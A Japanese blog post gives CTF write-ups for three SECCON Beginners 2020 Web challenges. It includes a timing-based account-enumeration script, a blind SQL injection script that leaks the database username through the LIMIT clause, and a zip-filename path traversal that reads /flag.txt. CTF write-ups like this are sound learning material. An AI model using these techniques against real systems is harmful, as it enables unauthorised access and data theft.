セキュリティ技術メモブログ

日々の活動を記録する場所

SECCON beginners 2020 Writeup(Web)

はじめに

SECCON beginners 2020に個人で参加。
時間内に解けなかった問題も他の方のwriteupを参考にして、 自分の言葉でwriteupを書いていくことにする。
今回はWebジャンル。Spy、Tweetstore、unzipの3問を記載。

Miscジャンルの記事は以下。 paichan-it.hatenablog.com

Cryptoジャンル(R&Bのみ)は以下。 paichan-it.hatenablog.com

[Web] Spy(Beginner)

問題

As a spy, you are spying on the "ctf4b company". You got the name-list of employees and the URL to the in-house web tool used by some of them. Your task is to enumerate the employees who use this tool in order to make it available for social engineering.

employees.txtとapp.pyが添付されている。

import os
import time

from flask import Flask, render_template, request, session

# Database and Authentication libraries (you can't see this :p).
import db
import auth

# ====================

app = Flask(__name__)
app.SALT = os.getenv("CTF4B_SALT")
app.FLAG = os.getenv("CTF4B_FLAG")
app.SECRET_KEY = os.getenv("CTF4B_SECRET_KEY")

db.init()
employees = db.get_all_employees()

# ====================

@app.route("/", methods=["GET", "POST"])
def index():
    t = time.perf_counter()

    if request.method == "GET":
        return render_template("index.html", message="Please login.", sec="{:.7f}".format(time.perf_counter()-t))
    
    if request.method == "POST":
        name = request.form["name"]
        password = request.form["password"]

        exists, account = db.get_account(name)

        if not exists:
            return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t))

        # auth.calc_password_hash(salt, password) adds salt and performs stretching so many times.
        # You know, it's really secure... isn't it? :-)
        hashed_password = auth.calc_password_hash(app.SALT, password)
        if hashed_password != account.password:
            return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t))

        session["name"] = name
        return render_template("dashboard.html", sec="{:.7f}".format(time.perf_counter()-t))

# ====================

@app.route("/challenge", methods=["GET", "POST"])
def challenge():
    t = time.perf_counter()
    
    if request.method == "GET":
        return render_template("challenge.html", employees=employees, sec="{:.7f}".format(time.perf_counter()-t))

    if request.method == "POST":
        answer = request.form.getlist("answer")

        # If you can enumerate all accounts, I'll give you FLAG!
        if set(answer) == set(account.name for account in db.get_all_accounts()):
            message = app.FLAG
        else:
            message = "Wrong!!"
        
        return render_template("challenge.html", message=message, employees=employees, sec="{:.7f}".format(time.perf_counter()-t))

# ====================

if __name__ == '__main__':
    db.init()
    app.run(host=os.getenv("CTF4B_HOST"), port=os.getenv("CTF4B_PORT"))

employees.txtに記載のあるユーザのうち、存在するユーザを選択すればフラグがゲットできるようだ。

解法

app.pyを確認。ログイン試行するユーザが存在している場合にはauth.calc_password_hash(app.SALT, password)で複数回のストレッチングが行われるため、レスポンスが遅くなる模様。
ユーザが存在しない場合には、一瞬でレスポンスが返ってくる。これらは、ブラウザにも表示されるため容易に確認することができる。

  • Arthurでログイン試行した場合
    f:id:Paichan:20200524223607p:plain

  • Elbertでログイン試行した場合
    f:id:Paichan:20200524223713p:plain

26回手動でログイン試行すればよいので時間はかからないが、競技終了後あえてスクリプトを書いてみた。

import requests
import bs4
import re

with open("employees.txt", "r") as f:
    employees = f.readlines()

URL = "https://spy.quals.beginners.seccon.jp/"

for i in employees:
    DATA = {"name":i.rstrip(), "password":123}
    rpost = requests.post(url=URL, data=DATA)
    soup = bs4.BeautifulSoup(rpost.text, "html.parser")
    timeData = soup.find("p").get_text()
    extractData = "".join(re.findall("[0-9]{1,}.[0-9]{1,}", timeData))
    print(i.rstrip() + " : " + extractData)

実行結果は以下。

Arthur : 0.0003507
Barbara : 0.0003492
Christine : 0.0003667
David : 0.0003282
Elbert : 0.5867867
Franklin : 0.0003587
George : 0.5761458
Harris : 0.0003731
Ivan : 0.0003675
Jane : 0.0003095
Kevin : 0.0003963
Lazarus : 0.5207610
Marc : 0.6260417
Nathan : 0.0003987
Oliver : 0.0004116
Paul : 0.0004193
Quentin : 0.0003628
Randolph : 0.0003301
Scott : 0.0003395
Tony : 0.6102204
Ulysses : 0.0003216
Vincent : 0.0003582
Wat : 0.0002925
Ximena : 0.3995440
Yvonne : 0.6283144
Zalmon : 0.0003918

この中で、他と比べてレスポンス時間が長いのは、「Elbert」、「George 」、「Lazarus 」、「Marc 」 、「Tony 」、「Ximena 」、「Yvonne 」である。 これらのユーザをチェックボックスで選択しAnswerをクリックしたら、フラグが表示された。
f:id:Paichan:20200524232616p:plain

ctf4b{4cc0un7_3num3r4710n_by_51d3_ch4nn3l_4774ck}

[Web] Tweetstore(Easy)

問題

Search your flag! Server: https://tweetstore.quals.beginners.seccon.jp/

添付されているzipからはwebserver.goが解凍された。

package main

import (
    "context"
    "fmt"
    "log"
    "os"
    "strings"
    "time"
 
    "database/sql"
    "html/template"
    "net/http"

    "github.com/gorilla/handlers"
    "github.com/gorilla/mux"

    _"github.com/lib/pq"
)

var tmplPath = "./templates/"

var db *sql.DB

type Tweets struct {
    Url        string
    Text       string
    Tweeted_at time.Time
}

func handler_index(w http.ResponseWriter, r *http.Request) {

    tmpl, err := template.ParseFiles(tmplPath + "index.html")
    if err != nil {
        log.Fatal(err)
    }

    var sql = "select url, text, tweeted_at from tweets"

    search, ok := r.URL.Query()["search"]
    if ok {
        sql += " where text like '%" + strings.Replace(search[0], "'", "\\'", -1) + "%'"
    }

    sql += " order by tweeted_at desc"

    limit, ok := r.URL.Query()["limit"]
    if ok && (limit[0] != "") {
        sql += " limit " + strings.Split(limit[0], ";")[0]
    }

    var data []Tweets


    ctx, cancel := context.WithTimeout(context.Background(), 1*time.Second)
    defer cancel()

    rows, err := db.QueryContext(ctx, sql)
    if err != nil{
        http.Error(w, http.StatusText(500), 500)
        return
    }

    for rows.Next() {
        var text string
        var url string
        var tweeted_at time.Time

        err := rows.Scan(&url, &text, &tweeted_at)
        if err != nil {
            http.Error(w, http.StatusText(500), 500)
            return
        }
        data = append(data, Tweets{url, text, tweeted_at})
    }

    tmpl.Execute(w, data)
}

func initialize() {
    var err error

    dbname := "ctf"
    dbuser := os.Getenv("FLAG")
    dbpass := "password"

    connInfo := fmt.Sprintf("port=%d host=%s user=%s password=%s dbname=%s sslmode=disable", 5432, "db", dbuser, dbpass, dbname)
    db, err = sql.Open("postgres", connInfo)
    if err != nil {
        log.Fatal(err)
    }
}

func main() {

    initialize()

    r := mux.NewRouter()
    r.HandleFunc("/", handler_index).Methods("GET")

    http.Handle("/", r)
    http.ListenAndServe(":8080", handlers.LoggingHandler(os.Stdout, http.DefaultServeMux))
}

上記コードより、今回はdbuserがフラグとなる。データベースはpostgreSQLのようだ。

解法

当日は解けなかったが、以下のwriteupを参考に、理解した。
SECCON Beginners CTF 2020 Writeup - こんとろーるしーこんとろーるぶい

search word(searchパラメータ)に一致したツイートがsearch limit(limitパラメータ)件数以下表示されるwebページ。 f:id:Paichan:20200524233247p:plain

webserver.goを確認してみると、以下よりlimit句の中に入るsearchパラメータはシングルクォートがエスケープされていることが分かる。

sql += " where text like '%" + strings.Replace(search[0], "'", "\\'", -1) + "%'"

一方、limitパラメータはエスケープされていないため、ここが狙い目になりそう。

sql += " limit " + strings.Split(limit[0], ";")[0]

これらより、生成されるSQL文は以下のようになる。

select url, text, tweeted_at from tweets  where text like '%{search}%' order by tweeted_at desc limit {limit} 

今回はdbuserがフラグであるため、postgreSQLのシステム情報関数であるcurrent_userが使えそう。
試しに、limit句にascii(substr(current_user,1,1))を挿入し、リクエストを送付すると、無事ステータスコード200が返ってきた。
何をやっているかというと、substr(current_user,1,1)でデータベースに接続しているユーザ名の一文字目を取得し、その結果をasciiコード番号に変換している。
asciiコード暗号に変換することで、limit X(X:数値)の形になり、文法的に正しくなる。

BurpのRepeaterを見るとこんな感じ。99件のツイートが取得された。99はascii文字に変換するとcf:id:Paichan:20200611230937p:plain

同様に、ascii(substr(current_user,2,1))を挿入してリクエストすると116件のツイートが取得できた。116はascii文字に直すとtascii(substr(current_user,3,1))では102件=f
表示されたツイート数がdbuserになりそう。以下のようなスクリプトを書いた。

import requests

URL = "https://tweetstore.quals.beginners.seccon.jp/"

flag = ""

for i in range(40):
    rget = requests.get(
        url = URL,
        params = {
            "search":"",
            "limit":"ascii(substr(current_user,{},1))".format(i+1)
        }
    )
    res = rget.text.count("Watch@Twitter")
    flag += chr(res)
print(flag)

実行すると、フラグが表示される。
ctf4b{is_postgres_your_friend?}

[Web] unzip(Easy)

問題

Unzip Your .zip Archive Like a Pro.

PHPのコードと、docker-compose.ymlが渡される。

index.php

<?php
error_reporting(0);
session_start();

// prepare the session
$user_dir = "/uploads/" . session_id();
if (!file_exists($user_dir))
    mkdir($user_dir);

if (!isset($_SESSION["files"]))
    $_SESSION["files"] = array();

// return file if filename parameter is passed
if (isset($_GET["filename"]) && is_string(($_GET["filename"]))) {
    if (in_array($_GET["filename"], $_SESSION["files"], TRUE)) {
        $filepath = $user_dir . "/" . $_GET["filename"];
        header("Content-Type: text/plain");
        echo file_get_contents($filepath);
        die();
    } else {
        echo "no such file";
        die();
    }
}

// process uploaded files
$target_file = $target_dir . basename($_FILES["file"]["name"]);
if (isset($_FILES["file"])) {
    // size check of uploaded file
    if ($_FILES["file"]["size"] > 1000) {
        echo "the size of uploaded file exceeds 1000 bytes.";
        die();
    }

    // try to open uploaded file as zip
    $zip = new ZipArchive;
    if ($zip->open($_FILES["file"]["tmp_name"]) !== TRUE) {
        echo "failed to open your zip.";
        die();
    }


    // check the size of unzipped files
    $extracted_zip_size = 0;
    for ($i = 0; $i < $zip->numFiles; $i++)
        $extracted_zip_size += $zip->statIndex($i)["size"];

    if ($extracted_zip_size > 1000) {
        echo "the total size of extracted files exceeds 1000 bytes.";
        die();
    }

    // extract
    $zip->extractTo($user_dir);

    // add files to $_SESSION["files"]
    for ($i = 0; $i < $zip->numFiles; $i++) {
        $s = $zip->statIndex($i);
        if (!in_array($s["name"], $_SESSION["files"], TRUE)) {
            $_SESSION["files"][] = $s["name"];
        }
    }

    $zip->close();
}
?>

<!DOCTYPE html>
<html>

<head>
    <link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/css/materialize.min.css">

    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title></title>
</head>

<body>
    <nav role="navigation">
        <div class="nav-wrapper container">
            <a id="logo-container" href="/" class="brand-logo">Unzip</a>
        </div>
    </nav>


    <div class="container">
        <br><br>
        <h1 class="header center teal-text text-lighten-2">Unzip</h1>
        <div class="row center">
            <h5 class="header col s12 light">
                Unzip Your .zip Archive Like a Pro
            </h5>
        </div>
    </div>
    </div>



    <div class="container">
        <div class="section">
            <h2>Upload</h2>
            <form method="post" enctype="multipart/form-data">
                <div class="file-field input-field">
                    <div class="btn">
                        <span>Select .zip to Upload</span>
                        <input type="file" name="file">
                    </div>
                    <div class="file-path-wrapper">
                        <input class="file-path validate" type="text">
                    </div>
                </div>
                <button class="btn waves-effect waves-light">
                    Submit
                    <i class="material-icons right">send</i>
                </button>
            </form>
        </div>
    </div>

    <div class="container">
        <div class="section">
            <h2>Files from Your Archive(s)</h2>
            <div class="collection">
                <?php foreach ($_SESSION["files"] as $filename) { ?>
                    <a href="/?filename=<?= urlencode($filename) ?>" class="collection-item"><?= htmlspecialchars($filename, ENT_QUOTES, "UTF-8") ?></a>
                <? } ?>
            </div>
        </div>
    </div>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/js/materialize.min.js"></script>
</body>

</html>

docker-compose.yml

version: "3"

services:
  nginx:
    build: ./docker/nginx
    ports:
      - "127.0.0.1:$APP_PORT:80"
    depends_on:
      - php-fpm
    volumes:
      - ./storage/logs/nginx:/var/log/nginx
      - ./public:/var/www/web
    environment:
      TZ: "Asia/Tokyo"
    restart: always

  php-fpm:
    build: ./docker/php-fpm
    env_file: .env
    working_dir: /var/www/web
    environment:
      TZ: "Asia/Tokyo"
    volumes:
      - ./public:/var/www/web
      - ./uploads:/uploads
      - ./flag.txt:/flag.txt
    restart: always

docker-compose.ymlを確認すると、この問題は、nginxコンテナとphp-fpmコンテナの2つで構成されており、./flag.txtがマウントされていることが分かる。
このflag.txtを読み出すことが目標だ。

解説

aaa.zipをアップロードしてみる。すると、aaa.zip内に含まれているファイル名(aaa.txt)が表示される。 f:id:Paichan:20200531015515p:plain ファイル名をクリックすると、そのファイルの中身を参照することができるサービス。
index.phpの以下の部分を見ると、アップロードしたファイルは/uploads/{session_id}/filenameに配置されるようだ。

$user_dir = "/uploads/" . session_id();
(snip)
if (isset($_GET["filename"]) && is_string(($_GET["filename"]))) {
    if (in_array($_GET["filename"], $_SESSION["files"], TRUE)) {
        $filepath = $user_dir . "/" . $_GET["filename"];
        header("Content-Type: text/plain");
        echo file_get_contents($filepath);
        die();
    } else {
        echo "no such file";
        die();
    }
}

docker-compose.ymlから、フラグのパスは分かっている(/flag.txt)。つまり、filename../../flag.txtとなればフラグがゲットできそう。しかし、windowsでは、ファイル名に/という文字を含むことができないため、工夫する必要がある。以下の様にしてzipファイルを作成した。

  1. ..A..Aflag.txtという名前のファイルを作成。
  2. zip圧縮する。 3.バイナリエディタA/に書き換える。 f:id:Paichan:20200608001552p:plain f:id:Paichan:20200608002242p:plain 4.保存

こうして出来上がったzipファイルをアップロードすると、ファイル名に../../flag.txtが! f:id:Paichan:20200608002203p:plain ここにアクセスしてフラグゲット。
ctf4b{y0u_c4nn07_7ru57_4ny_1npu75_1nclud1n6_z1p_f1l3n4m35}